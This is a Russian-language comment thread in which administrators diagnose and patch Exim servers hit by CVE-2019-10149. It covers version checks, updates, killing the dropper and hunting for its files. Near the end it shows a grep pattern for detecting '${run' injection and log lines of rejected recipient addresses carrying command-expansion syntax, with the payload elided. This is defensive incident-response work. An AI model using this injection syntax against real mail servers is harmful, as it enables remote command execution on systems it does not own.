Pull to refresh

Comments 183

Будьте добры, покажите код, прописываемый вирусом в крон.
Не уверен, насколько можно/стоит это делать, скажут ещё что распространяю)
Шелл-скрипт длиной 19825 байт ( find / -size 19825c ), отключает SELINUX, прописывает свой ssh ключ (!!!) и тп — сейчас добавлю UPD
Отправил найденный код в тот же clamav. Подскажите пожалуйста, куда ещё можно?

Зачем так сложно убивать wget, когда существуют команды killall и pkill?
Кстати, в Debian и Ubuntu уязвимость уже исправлена, при этом номер версии exim остался тем же самым. Это я к призыву о том, что необходимо срочно остановить exim. У меня он уже пропатчен. У себя убедиться просмотром файла /usr/share/doc/exim4/changelog.Debian.gz.

А как понять, что она исправлена патч установлен, если номер версии не меняется?
я сделал
apt-get update && apt-get install exim4
service exim4 restart
и да, номер версии не изменился

dpkg -l exim*
Покажет полную версию пакетов.

dpkg -l exim*
dpkg-query: no packages found matching exim4.conf.template

Что за ошибка? /etc/exim4/exim4.conf.template есть файл.

В текущем каталоге (находясь в котором запускаете dpkg), видимо, есть файл exim4.conf.template (посмотрите так ls ./). В результате, строка превращается в:
dpkg -l exim4.conf.template

Так работает:
dpkg -l|grep exim
ii exim4 4.89-2+deb9u4 all metapackage to ease Exim MTA (v4) installation
ii exim4-base 4.89-2+deb9u4 amd64 support files for all Exim MTA (v4) packages
ii exim4-config 4.89-2+deb9u1 all configuration for the Exim MTA (v4)
ii exim4-daemon-light 4.89-2+deb9u1 amd64 lightweight Exim MTA (v4) daemon


При этом:
exim --version
Exim version 4.89 #2 built 14-Jun-2017 05:03:07

Почему то 14-Jun-2017.

Но:
/usr/share/doc/exim4/changelog.Debian.gz
exim4 (4.89-2+deb9u4) stretch-security; urgency=high

* Non-maintainer upload by the Security Team.
* Fix remote command execution vulnerability (CVE-2019-10149)

— Salvatore Bonaccorso <carnil@debian.org> Tue, 28 May 2019 22:13:55 +0200


В общем, как то запутано. Но вроде 4.89-2+deb9u4. И вроде для Debian это Fix CVE-2019-10149. Правда все равно не пойму, откуда он взялся. Я его не обновлял.

Еще нет чекеров закрытости дыры?

exim --version показывает мажорную версию, минорные изменения не указываются в данном случае. (Если я ничего не путаю). Поэтому — dpkg -l… и смотрим changelog по конкретной версии пакета.

Спасибо за уточнение про Debian и Ubuntu.

Касательно killall — там не только wget'ы запущены от рута, но и /bin/sh длиной 1.5кб, запускающие эти wget (либо curl, добавил в пост).

Поэтому killall не помогал, немного изощрился через ps/grep/awk (обновил пост для простоты).

Да и то пока до конца не дожал, несмотря на массовое автоотключение процессов и выдирание cron с корнем. Смотрю дальше.
У меня там:

exim4 (4.89-2+deb9u4) stretch-security; urgency=high

* Non-maintainer upload by the Security Team.
* Fix remote command execution vulnerability (CVE-2019-10149)

— Salvatore Bonaccorso <carnil@debian.org> Tue, 28 May 2019 22:13:55 +0200


Но я его не обновлял. С полгода на сервере ничего не обновлял. Как это понимать?
Т.е. у Вас 4.89-2+deb9u4 стоит? Тут он помечен как fixed (не vulnerable, в отл. от u3):
https://security-tracker.debian.org/tracker/CVE-2019-10149
И указан в колонке Fixed Version для stretch'а. Т.е. это нормальная версия, с фиксом.

Т.е. вопрос сводится к тому, как на сервере, который Вы не обновляли полгода, свежий софт?:) А проверьте версии других программ, ничего не запускали?

Плюс, не запускали ли скрипты-фиксеры? Тот же скрипт от firstvds обновляет exim.
Да, вопрос именно в этом. :) Дедик на Хетзнере. Поставил ихний Debian 9 minimal, все остальное ставилось вручную.
Любопытно :) Другие софтинки все старые? Скрипты-фиксеры не запускали? Заражения не было?
Если так то пока только одна версия — Вас поломал белошляпник, и от рута запустил Вам обновление exim ;)
Ржач. :) Учитывая что exim в Debian работает не из-под root, видимо он не только exim обновил. :)

Не замечал чтобы еще что то было свежим. Прямо сейчас зайти и посмотреть возможности нет, не за той машиной. Но на днях обязательно загляну. Аж интересно.
Да, крайне интересно, что же там было. Может по логам получится понять. Пожалуйста, когда разберетесь, напишите сюда тоже :)
Даже если работает не из под рута происходит взлом… У меня на OrangePi стоит debian jessie, exim запущен от Debian-exim и все равно случился взлом, потерло крон и прочее.
Мда, важный момент, а то тут много комментов было про запуск рута и идиотов. Спасибо, добавлю в пост, а то умные люди могут себя успокоить что от рута не запускают и не обновиться.

Ещё вопрос — а какая версия Debian-exim там стояла?..
Прошу извинить, не на том сервере глянул lsb_release.
на Orange Pi установлен stretch
No LSB modules are available.
Distributor ID: Debian
Description: Debian GNU/Linux 9.9 (stretch)
Release: 9.9
Codename: stretch
Спасибо, одной загадкой меньше! Но про запуск не из-под рута всё корретно же? Просто в посте апдейтну инфу с jessie на stretch.
Да, все верно, запущено от Debian-exim.
Надо почитать описание уязвимости, как оно так получается…
Здесь описана уязвимость
www1.opennet.ru/opennews/art.shtml?num=50819
Ну как, удалось загадку раскрыть? :)
Заходил, смотрел, ничего подозрительного не обнаружил…
Так там я так помню загадка же была в том, как/когда на необновлявшемся полгода сервере появился свежий exim?
М.б. ради интереса попробуете например
grep exim /var/log/dpkg.log
Начиная с Debian 9 в систему включена утилита unattended-upgrades, которая автоматически ставит пакеты из ветки security. Попробуйте
sudo cat /var/log/unattended-upgrades/unattended-upgrades.log | grep exim

Если при попытке обновить результат принимает следующий вид: exim4 is already the newest version (4.89-2+deb9u3). 0 upgraded, 0 newly installed, 0 to remove and 4 not upgraded., то уязвимость есть? Как в таком случае провести обновление? Спасибо.
4.89-2+deb9u3 на оф.сайте прямо указана как уязвимая версия, которую требуется обновить.

Скажите пожалуйста, а с каких таких серверов обновления качаете? Если у них такой несвежачок, это Вы ещё внимание обратили, а другие ведь могут попасть.

Тут в комментах для CentOS то же самое было — голландский какой-то сервак содержал старые версии в репозитории. Пришлось ручками переключаться на другой репозиторий и оттуда всё свежее встало сразу.

А обновиться Вам нужно срочно, чудо если ещё не заражены.
Проверьте добавлен ли у вас репозиторий
deb http://security.debian.org/debian-security stretch/updates main contrib non-free
Для Centos 6 апдейт пока в тестовой ветке:

yum --enablerepo=epel-testing install exim
Большое спасибо! Главное после обновления не забыть проверить ещё раз, не успел ли троян попасть на сервер (промониторив загрузку cpu и, возможно, глянув вручную файлы с размером инсталлятора: find / -size 19825c… но это конечно только попавшаяся мне версия, далее наверняка поменяют размер при апдейтах малвари).
А вот у меня обновлять 4.91 до 4.92
CentOS release 6.7 (Final)

yum --enablerepo=epel-testing install exim

Loaded plugins: fastestmirror, security
Setting up Install Process
Loading mirror speeds from cached hostfile
* base: mirror.yandex.ru
* epel: de.download.ispsystem.com
* epel-testing: mirror.nl.leaseweb.net
* extras: mirror.docker.ru
* ispsystem-5.200: de.download.ispsystem.com
* ispsystem-base: de.download.ispsystem.com
* remi-safe: remi.mirrors.cu.be
* updates: mirror.docker.ru
* webtatic: uk.repo.webtatic.com
Package exim-4.91-1.el6.x86_64 already installed and latest version
Nothing to do


В чем может быть проблема?
Гм, похоже у голландцев несвежий epel-testing:)
* epel-testing: mirror.nl.leaseweb.net

Попробуйте, пожалуйста, другое зеркало.

Посмотрел, откуда у меня свежий вкачало, вот отсюда:
* epel-testing: fedora-mirror01.rbc.ru

exim-4.92-1.el7.x86_64
Спасибо! Руками поправил адрес сервера в epel-testing.repo и после этого уже нормально накатился апдейт
Я что не меняю, как не стараюсь всегда один ответ.

[root@server yum.repos.d]# yum --enablerepo=epel-testing update exim
Загружены модули: fastestmirror
Подготовка к обновлению
Loading mirror speeds from cached hostfile
epel-testing/metalink | 32 kB 00:00
epel-testing-source/metalink | 31 kB 00:00
* base: mirror.reconn.ru
* epel: mirror.yandex.ru
* epel-testing: fedora-mirror01.rbc.ru
* epel-testing-source: fedora-mirror01.rbc.ru
* extras: dedic.sh
* remi-safe: mirror.reconn.ru
* rpmforge: mirror.awanti.com
* updates: mirror.reconn.ru
epel-testing-source | 4.1 kB 00:00
epel-testing-source/primary_db | 40 kB 00:00
Нет результатов для параметра: exim
Пакет exim недоступен.
Нет пакетов, отмеченных для обновления
1) У Вас centos 6?
1) Какой стоит сейчас exim и откуда?
yum info exim

Name: exim
Arch: x86_64
Version: 4.92
Release: 1.el6
Size: 4.4 M
Repo: installed
From repo: epel-testing
3) файл репозитория epel-testing есть?
cat /etc/yum.repos.d/epel-testing.repo

4) в этом файле в блоке [epel-testing] сейчас что написано в строке mirrorlist (если она есть)?
mirrorlist=http://mirrors.fedoraproject.org/mirrorlist?repo=testing-epel6&arch=$basearch

5) если всё вроде как есть, но не обновляет (тут в комментах пару случаев было, когда в зеркале репозитория не было свежего exim), попробуйте в mirrorlist прописать вручную другое зеркало
Да, centos6, все верно. Вот что выдает:

[root@server ~]# yum info exim
Загружены модули: fastestmirror
Loading mirror speeds from cached hostfile
* base: dedic.sh
* epel: mirror.logol.ru
* epel-testing: mirror.logol.ru
* extras: dedic.sh
* remi-safe: mirror.reconn.ru
* rpmforge: mirror.awanti.com
* updates: dedic.sh
Ошибка: Совпадений среди пакетов не найдено
Понял, похоже у Вас видимо exim не из репозитория, а поставленный вручную :)
Попробуйте пожалуйста
yum list installed | grep exim

Спасибо большое, что помогаете:
[root@server ~]# yum list installed | grep exim
da_exim.x86_64 4.84-1 installed
Отлично, да, это какой-то нетиповой exim. Я такого, честно говоря, даже не видел :) Вставьте сюда, пожалуйста, что ответит
yum info da_exim
Но уже два вывода:
1) Вам нужно обновлять не yum update exim, а yum update da_exim
2) Не спешите обновлять пока, т.к. конкретно обсуждаемая тут уязвимость Вашу версию exim не затрагивает! (про другие не поручусь) Т.к. ей затронуты версии 4.87 — 4.91. А у Вас старенькая 4.84, там этой дыры ещё не было.

При этом yum info da_exim выдаст инфу и по текущей версии, и по наличию более свежей (если есть) — посмотрим, какую там предложит.

UPD: оглянулся, надо полагать Вы используете Direct Admin? И Exim через них ставили?

UPD2: смотрю, у них в хранилище валяются разные версии da_exim, из тех что есть можно ставить 4.86.2-1 — но не более свежие! т.к. самая свежая похоже что 4.89.1-1 полуторалетней давности, и её как раз взломают

Так что либо вообще не трогать сейчас (если планируете в обозримом будущем на свежий сервак переезжать, с более новым софтом), либо обновляться конкретно до 4.86.2-1 — имхо
Да, у нас Direct Admin, вы правы! Спасибо большое за разъяснения. На всякий скидываю то что выдает команда + еще один вопрос

[root@server ~]# yum info da_exim
Загружены модули: fastestmirror
Loading mirror speeds from cached hostfile
* base: dedic.sh
* epel: mirror.logol.ru
* epel-testing: mirror.logol.ru
* extras: dedic.sh
* remi-safe: mirror.reconn.ru
* rpmforge: mirror.awanti.com
* updates: dedic.sh
Установленные пакеты
Название: da_exim
Архитектура: x86_64
Версия: 4.84
Выпуск: 1
Объем: 3.6 M
Источник: installed
Аннотация: Mail Transfer Agent
Ссылка: www.exim.org
Лицензия: GPL
Описание: Exim is a mail transfer agent (MTA) for hosts that are running Unix or
: Unix-like operating systems. It was designed on the assumption that it
: would be run on hosts that are permanently connected to the Internet.
: However, it can be used on intermittently connected hosts with
: suitable configuration adjustments.

Вопрос вот в чем, если выполнить запрос о версии простого exim то покажет вот это:

[root@server ~]# exim --version
Exim version 4.90_1 #4 built 27-Feb-2018 12:33:24
Copyright © University of Cambridge, 1995 — 2017
© The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 — 2017
Berkeley DB: Berkeley DB 4.7.25: (March 22, 2017)
Support for: crypteq IPv6 Perl OpenSSL move_frozen_messages Content_Scanning DKIM DNSSEC Event OCSP PRDR Experimental_SPF Experimental_SRS
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb
Authenticators: cram_md5 dovecot plaintext spa
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore/mbx autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
2019-06-14 17:03:10 cwd=/root 2 args: exim --version
Configuration file is /etc/exim.conf

И вот это немного путает..(
Пугает обоснованно. Скажите пожалуйста, а установкой/обновлением программ на этом сервере раньше не Вы занимались? В феврале 2018 например?

Чтобы понять, это другой человек руками ставил, или например панель там решила сама установить/обновить и т.п.

Пока стоит убедиться, что активно используется именно 4.90. Пожалуйста, посмотрите:
1) откуда процессы exim запущены?
ps aux | grep [e]xim

там будут строки наподобие
exim 5343 0.0 0.0 102100 2634? S 18:00 0:00 /usr/sbin/exim -bd -q1h

2) убедитесь, все ли экземпляры exim запущены из одного и того же места (в данном примере /usr/sbin/exim)
3) напрямую посмотрите версию, с указанием этого пути; в данном примере:
/usr/sbin/exim --version 

Скорее всего, там будет то же самое (4.90_1), но стоит проверить и убедиться.

4) ну и ещё для проверки дубликатов в yum на всякий случай:
yum search --showduplicates exim
Еще раз огромное спасибо вам за помощь! Занимался им в начале 2018 удаленный сис. админ но уже год как он куда-то пропал. Высылаю лог всех набранных команд

[root@server ~]# ps aux | grep [e]xim
mail 29656 0.0 0.0 63468 1756? SNs 03:28 0:05 /usr/sbin/exim -bd -q15m -oP /var/run/exim.pid
mail 31112 0.0 0.0 66080 3972? SN 18:12 0:00 /usr/sbin/exim -bd -q15m -oP /var/run/exim.pid
mail 31164 0.0 0.0 65548 2180? SN 18:13 0:00 /usr/sbin/exim -bd -q15m -oP /var/run/exim.pid

[root@server ~]# /usr/sbin/exim --version
Exim version 4.90_1 #4 built 27-Feb-2018 12:33:24
Copyright © University of Cambridge, 1995 — 2017
© The Exim Maintainers and contributors in ACKNOWLEDGMENTS file, 2007 — 2017
Berkeley DB: Berkeley DB 4.7.25: (March 22, 2017)
Support for: crypteq IPv6 Perl OpenSSL move_frozen_messages Content_Scanning DKIM DNSSEC Event OCSP PRDR Experimental_SPF Experimental_SRS
Lookups (built-in): lsearch wildlsearch nwildlsearch iplsearch cdb dbm dbmjz dbmnz dnsdb
Authenticators: cram_md5 dovecot plaintext spa
Routers: accept dnslookup ipliteral manualroute queryprogram redirect
Transports: appendfile/maildir/mailstore/mbx autoreply lmtp pipe smtp
Fixed never_users: 0
Configure owner: 0:0
Size of off_t: 8
2019-06-14 18:13:25 cwd=/root 2 args: /usr/sbin/exim --version
Configuration file is /etc/exim.conf

[root@server ~]# yum search --showduplicates exim
Загружены модули: fastestmirror
Loading mirror speeds from cached hostfile
epel/metalink | 30 kB 00:00
epel-testing/metalink | 28 kB 00:00
* base: dedic.sh
* epel: mirror.logol.ru
* epel-testing: mirror.logol.ru
* extras: dedic.sh
* remi-safe: mirror.reconn.ru
* rpmforge: mirror.awanti.com
* updates: dedic.sh
base | 3.7 kB 00:00
extras | 3.4 kB 00:00
nodesource | 2.5 kB 00:00
remi-safe | 3.0 kB 00:00
remi-safe/primary_db | 1.2 MB 00:00
rpmforge | 1.9 kB 00:00
updates | 3.4 kB 00:00
================================================================================= N/S Matched: exim ==================================================================================
da_exim-4.84-1.x86_64: Mail Transfer Agent

Name and summary matches only, use «search all» for everything.
Понятно. Да, yum тут никак не поможет)
Раз человек пропал, сейчас наверно уже сложно понять, с какой целью он руками (?) ставил отдельный exim 4.90_1 (который сейчас и работает один).

Могу только предположить что он хотел поставить свежую версию, с da_exim либо не разобрался либо увидел что у них последний вариант был более древний (4.89) и героически свежее (на тот момент) руками накатал.

На данный момент вижу два вопроса:
1) не поломали ли Вас уже (боюсь что точный ответ даже после анализа дать будет сложно, т.к. злоумышленники могли залезть и «спрятаться» до лучшего часа, чтобы их не прибежали лечить)

2) насколько вообще критична роль у exim в Ваших процессах

В общем, навскидку, хорошо бы exim-зоопарк убрать, сохранив все конфиги/ящики и тд в бэкапы. И поставить свежий из репозиториев — благо, там уже в epel 4.92 вышел по-моему, epel-testing не нужен.

И конфиги/ящики аккуратно вернуть.

Но ещё раз подчеркну что проблема тут может быть глубже, т.к. нет никакой гарантии что дыркой уже не воспользовались… т.е. лучше бы конечно начисто поставить всё.

А пока — самое время убедиться что у Вас все свежие бэкапы есть всех данных и тд (и как минимум в паре разных мест и тд).
А почему никак не получается обновить обычный exim, тот что 490, вариантов его обновить нет совсем в нашем случае?
Почему же не получится его обновить, можно так же руками и обновить — бинарники вручную заменить и тд.

Сути это не поменяет — конфиги и тд главное сохраните обязательно заранее. И в идеале поставить чистые конфиги от новой версии, а в них уже руками добавить нужные настройки из старой.

Тем временем, смотрите что я нашел:

Т.к. используете directadmin, вот их гайд по установке exim вручную (на англ конечно).

Там есть полностью ручной подход, а также вариант с использованием их функционала под названием custombuild — к сожалению не пользовался D.A., но могу предположить что это их внутренний менеджер пакетов. И возможно им пропавший админ и пользовался.

А вот тут для этого самого custombuild у них есть и свежий (который уже без дыры) exim 4.92

Ха, т.е. da_exim в том же хранилище у них 4.89, новее нету. И тут же рядышком другая ветка с 4.92…

Почти уверен теперь что Ваш админ custombuild этот и использовал.

Пробуйте, только обязательно все бэкапы сначала сохраните надежно :) (никогда не устаю это повторять)
Невероятно благодарен вам за помощь. Нашел мануал как обновить через custombuild, забэкапился, обновился, теперь пишет везде по вашим ранее приведенным командам показывает 492. Видимо, если не принимать во внимание возможное скрытое заражение, в остальном победа. Хостер советовал проверить сron на предмет неизвестных строк, но там все без изменений, думаю, что можно выдохнуть по части взлома. Как я могу вас отблагодарить?
Дайте, пожалуйста, ссылку на мануал. Похоже такая же ситуация.
По приведённой комментом выше ссылке у них процесс простой (если у Вас та же ситуация) —
cd /usr/local/directadmin/custombuild
./build update
./build set exim yes
./build exim
./build curl
Но, возможно, daykkin сможет что-то дополнить из своего опыта.

И главное про бэкапы не забудьте пожалуйста до эксперимента)
Тут https://help.directadmin.com/item.php?id=125 написано, что эти команды — они для установки, не апдейта. Или для апдейта тоже подойдут?
И там нет команды ./build curl
Для чего она нужна?
И главный вопрос — при такой установке/обновлении будет затронут только exim или другие службы тоже обновятся?
daykkin вот туда же сослался, откуда я скопипастил — только в отличие от меня он верно подметил что строка с curl к обсуждаемому там вопросу относилась, но не к Вашему :)

По остальным вопросам — daykkin так обновился, так что если у Вас та же ситуация, тоже обновитесь.

Другие службы обновлять оно не должно (т.е. если тот же curl не упомянете, его обновлять не будет)
Вроде бы получилось, но остались вопросы:

[root@mail custombuild]# yum info da_exim

Loaded plugins: fastestmirror
Loading mirror speeds from cached hostfile
* base: ftp.nluug.nl
* epel: mirror.nl.leaseweb.net
* extras: mirror.ams1.nl.leaseweb.net
* updates: mirror.serverius.net
Installed Packages
Name: da_exim
Arch: x86_64
Version: 4.87

Но теперь, exim --version
Exim version 4.92 #5 built 14-Jun-2019 21:37:38

/usr/sbin/exim --version
Exim version 4.92 #5 built 14-Jun-2019 21:37:38

Подскажите, пожалуйста, 4.87 для da_exim — она так и останется? Или должна была поменяться на 4.92?
da_exim Вы не использовали и не обновляли, по идее можно его вообще убрать оттуда, но главное чтобы оно конфиги не трогало

Как Вы уже проверили, теперь /usr/sbin/exim стал версии 4.92, всё ок.

Для спокойствия можете проверить, не запущен ли где-то exim из другой локации,
ps aux | grep [e]xim

там должен быть только /usr/sbin/exim

И — не забудьте все ранее запущенные процессы exim перезапустить! Т.к. при обновлении на диске в памяти могли остаться старые дырявые.
Огромное спасибо за помощь!
Из другой локации больше ничего не запущено.
У меня еще два последних вопроса:
1. Как перезапустить все ранее запущенные процессы?
2. Какие конкретно конфиги нужно проверить — то есть где они лежат? Бэкапы у меня есть, но какие именно надо смотреть файлы?
Замечательно, ура!
Ранее запущенные — например, ребут.

Или остановить службу (service exim stop) и убедиться что процессы все отключатся (ps aux | grep [e]xim будет пустым). Если какие-то не отключатся, то killall -9 exim или адресно kill -9 [pid процесса], пока запущенных не останется.

Ну и тогда уже service exim start, там свежий 4.92 заведомо будет.
Спасибо! Я поначалу именно так и кильнул все, как прочитал статью. Спасибо за подтверждение и за помощь! Думал, бессонная ночь будет, но наткнулся на это обсуждение custombuild и… и надеюсь, что все обошлось — никаких признаков взлома не нашел.
Не за что, хорошего вечера и искренне желаю чтобы отсутствие признаков корректно отражало реальность!

А спасибо не мне а daykkin за то что поднял и дожал этот вопрос :)
Замечательно, рад что у Вас всё получилось!

После установки не забудьте пожалуйста перезапустить уже запущенные процессы exim, чтобы убедиться что дырявая версия не на ходу.

Касательно проверок на следы… попробуйте глянуть, не меняли ли Вам настройки ssh ( /etc/ssh/sshd_config ) и не появился ли ключ неопознанный в файле authorized_keys (или сам такой файл, если его не было); в первую очередь в /root/.ssh/authorized_keys, но для верности можно и весь диск осмотреть —
find / -name "authorized_keys"


Опять же, если ничего подозрительного нет, это ещё не гарантия чистоты, но по крайней мере значит что нет следов того дроппера, который народ тут массово ловил.

Удачи!
Exim при переустановке делал себе шаутдаун и старт. полагаю это должно было завершить все процессы) Хотя могу и не знать чего-то. Совсем далек от сис. администрирования.

Что касается команды find, она нашла только /root/.ssh/authorized_keys ну и там только 1 ключ и больше года файл не редактировался судя по дате.

Спасибо!
Согласен, но не забудьте что «Должно было завершить» и «завершило» не всегда совпадает :)… Например, посмотрите на скрипт фикса от firstvds — там killall вызывается 4 раза подряд, как думаете почему? Вот так и тут. Лучше перестраховаться, на мой взгляд.

Про ключ годичной давности — отлично, только пожалуйста убедитесь что это Ваш ключ.
Если это чей-то чужой ключ,… гм гм, я думаю от анекдота воздержусь :)
4.92 уже давно стоит, но недавно еще прилетело обновление.
[root@xxx conf.d]# exim --version
Exim version 4.92 #3 built 05-Jun-2019 09:22:22

[root@xxx conf.d]# cat /etc/redhat-release
CentOS Linux release 7.6.1810 (Core)

Update, вру, Feb 03 09:51:35 Updated: exim-4.91-1.el7.x86_64 — до этого стоял 4.91, 4.92 прилетел только сейчас.
Спасибо за уточнение. Да, патч ещё в феврале был, при этом об опасности дыры заговорили эдак с неделю назад. И там вроде как писали (несколько статей сейчас нашел) что неизвестно, будет ли оно вживую эксплуатироваться, или обойдётся.

И вот вживую оно нашлось на серверах, на которых стояли обычные последние «стабильные» версии — т.е. кто специально патчи не выискивал, а просто «регулярно обновляет весь софт до последней версии», могли крепко попасть.

Для них это написано — пока разбирался с проблемой (информации вообще не мог нигде найти), ещё несколько человек написали мне о такой же непонятной ситуации с 100% загрузкой процессом kthrotlds (это симптом что троян уже проник и работает).
Когда был патч, это ещё не считалось уязвимостью, но если судить по тому что пишут нашедшие, не так всё страшно (вроде):
To remotely exploit this vulnerability in the default configuration, an attacker must keep a connection to the vulnerable server open for 7 days (by transmitting one byte every few minutes). However, because of the extreme complexity of Exim's code, we cannot guarantee that this exploitation method is unique; faster methods may exist.

Или в переводе:
Чтобы удаленно применить эту уязвимость в конфигурации по умолчанию, злоумышленник должен держать соединение с уязвимым сервером открытым в течение 7 дней (передавая по одному байту каждые несколько минут). Однако из-за крайней сложности кода Exim, мы не можем гарантировать, что этот метод эксплуатации является уникальным; могут существовать более быстрые методы.

Что-то кажется слишком сложно для «эпидемии»… Плюс ещё нужно наличие чего-то типа «local_part_suffix = +*: -*» (для удаленного случая и наличии локального пользователя в local_part), или же exim должен быть настроен как relay.

Т.е. удаленно это провернуть должно быть довольно сложно, что, разумеется, не освобождает от необходимости обновления.
Что касается «не считалось уязвимостью» — Вы прямо в точку! Крайне любопытно вышло.

Т.е. новую версию 4.92 Exim выпустили ещё в феврале, а испугались уязвимости и плотно стали работать с командами дистров, если не ошибаюсь, 3 июня (уже закрыл вкладки, могу дату чуть путать).

Но вот что характерно — ещё на той неделе не были люди уверены, что эту уязвимость смогут эксплуатировать (в частности наверно из-за упомянутых Вами 7 дней). Однако, судя по всему, на тот момент эксплуатация уже шла :) Как раз примерно с 3 числа, раз 10 июня покатилась волна заражений.

Т.е. как бы сложно ни было это провернуть — а ведь провернули же…

И это мы ведь только верхушку айсберга видим. Не удивлюсь если многие только ещё завтра и далее спохватятся что у них что-то не так.

Посмотрим, но сейчас хотя бы временное решение есть, плюс чёткое понимание необходимости срочно обновиться.

Jessie во первых вовсе затронут не был, а во вторых — типа как бы "устарел".
Для текущей же стабильной ветки (stretch) — обновление 4.89-2+deb9u4 прилетело только 5 июня.
(Да и для buster 4.92-7 вылили после 07 мая судя по changelog).

Опротестую я это утверждение, сегодня ломанули сервер нам как раз на jessie. Апдейты в конце мая последний раз ставили и всё равно огребли
Ого, а точно через эту дырку? Т.е. дроппер тот у себя нашли и тд?
Момент важный, т.к. на сайте Дебиана во второй таблице jessie указан как (not affected).
Подскажите пожалуйста, какая у Вас была версия exim на момент взлома?
посыпаю голову пеплом :(, на попавшем под замес хосте stretch стоял, jessie на соседнем был, он живой
Опротестую я это утверждение

Есть основания кроме "ломанули сервер на jessie"?


Векторов атаки на самом деле пруд пруди и очень редко попытки идут через одну единственную дыру в одной софтине...


Факт в том, что согласно истории exim, исправленный в фиксе код впервые появился в 4.87. На jessie же 4.84.
На этом собственно всё.

Всё верно пишите, очень странная ситуация, скорее всего взлом через другую дырку был. Но лучше не отмахиваться а сначала разобраться — на всякий случай, мало ли.

Те ли симптомы (код дроппера тот же?), не обновлена ли версия exim руками до больной (многие же любят похимичить) и т.д.

Почему это считаю важным — тут ещё пишут что jessie поломан.

Стоит посмотреть, что там творится — лучше убедиться что проблема там другая, чем успокаивать себя что ну не может же этого быть) Верно?

А не надо тут разбираться.
Ну люди, мы на каком ресурсе здесь вообще?
Я понимаю клонить лень т.д., но есть жеж онлайн инструменты


Находим фикс d740d2111f189760593a303124ff6b9b1f83453d для CVE-2019-10149, а потом блеймим до изменения где тот код впервые экспериментально появился (и смотрим в каких ветках оно есть) ну или просто тупо сравниваем еще непофикшеный файл src/src/deliver.c из какого-либо предыдущего коммита (или из 0cbf2b821bb13da0268556d0e30ea627d5592c60 где оно появилось уже в том виде как до фикса) с веткой 4.84 (или с версией jessie).
У кого не прыгает на код, щелкнуть на таб "Files changed".


И видим что этот кусок кода там (в jessie версии) вовсе отсутствовал:


+#ifndef DISABLE_EVENT
+      if (process_recipients != RECIP_ACCEPT)
+  {
+  uschar * save_local =  deliver_localpart;
+  const uschar * save_domain = deliver_domain;
+
+  deliver_localpart = expand_string(
+          string_sprintf("${local_part:%s}", new->address));
+  deliver_domain =    expand_string(
+          string_sprintf("${domain:%s}", new->address));
+
+  (void) event_raise(event_action,
+          US"msg:fail:internal", new->message);
+
+  deliver_localpart = save_local;
+  deliver_domain =    save_domain;
+  }
+#endif
Спасибо за труды, серьёзно. Потому и любопытно, что же там происходило. Со вторым кейсом разобрались, там не jessie вовсе был. :)

С кейсом, под которым комментируем, скорее всего тоже ситуация иная — либо через другую дыру ломанули, либо в jessie руками запихивали уязвимую версию.

Да какие-то труды… Не за что.


Кстати, глядя на тот код я право не знаю откуда такое вот берется:


an attacker must keep a connection to the vulnerable server open for 7 days (by transmitting one byte every few minutes).

Обычное переполнение… Я утрирую, но… тут на коленке за час можно инжект состряпать… Десяток емайлов (ну сотня в худшем случае) определенного содержания и "сервер наш".


Им кстати неоднократно об этом и намекалось и прямо говорилось чуть не с 2004-го года, например или здесь
По видимому на грабли нужно наступить раз 20-ть пока дойдет.

Ну да, раз с 2014 года про переполнение писали то «занятно» вышло.

Что касается 7 дней — гм, любопытно, но что любопытнее то по срокам вот такое совпадение получается: эксплойт заметили в деле 10 числа, ровно спустя неделю после "2019-06-03 This announcement to exim-users, oss-security".

Связано ли это как-то или нет? Кому не лениво узнать, пишите :)

Тем временем вопрос про jessie снят — в обуждаемом случае тоже был stretch, jessie не при делах, как Вы и говорили.
Что касается 7 дней — гм, любопытно

Так разве непонятно как заражалось?
Не надо там 7-ми дней, от слова совсем...


Ну вот вам комманда как искать (здесь в ротированых логах):


zgrep -m 100 'rejected RCPT.*\brun' /var/log/exim4/*

Оцените сколько им нужно было времени.


Я к сожалению не могу, ибо в "моем" случае (например на серверах клиентов, там где stretch) везде стоял мой IDS (на базе кастомного fail2ban), так что они все посваливались в долгосрочный бан не успев ничего натворить до обновления.


Вытяжка из summary для одного адреса выглядит примерно так (я обрезал немного дабы скрипт-киддис не вводить в искушение):


 Start of ban        | End of ban          | Jail | Ban-time           | Ban-count | Info 
---------------------|---------------------|------|--------------------|-----------| -----------
 2019-06-11 13:27:34 | 2019-06-13 05:30:52 | exim | 144198 (1.7 days)  | 2
 failures > 2, ip4: 89.248.171.57, country: NL (prev: SC)
 matches:
    2019-06-11 13:27:34 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57])
    2019-06-11 13:27:34 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57])
---------------------|---------------------|------|--------------------|-----------| -----------
 Start of ban        | End of ban          | Jail | Ban-time           | Ban-count | Info 
---------------------|---------------------|------|--------------------|-----------| -----------
 2019-06-10 04:31:31 | 2019-06-11 00:56:56 | exim | 73525 (20.4 hours) | 1
 failures > 10, ip4: 89.248.171.57, country: NL (prev: SC)
 matches:
    2019-06-10 04:31:31 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57])
    2019-06-10 04:31:31 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57])
    2019-06-10 04:31:31 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57])
    2019-06-10 04:31:31 no IP address found for host scanner20.openportstats.com (during SMTP connection from [89.248.171.57])
    2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <${run{...}@target.example.com>: Unrouteable address
    2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <root+${run{...}@target.example.com>: Unrouteable address
    2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <bin+${run{...}@target.example.com>: Unrouteable address
    2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <${run{...}@target.example.com>: Unrouteable address
    2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <root+${run{...}@target.example.com>: Unrouteable address
    2019-06-10 04:31:31 H=(target.example.com) [89.248.171.57] F=<> rejected RCPT <bin+${run{...}@target.example.com>: Unrouteable address
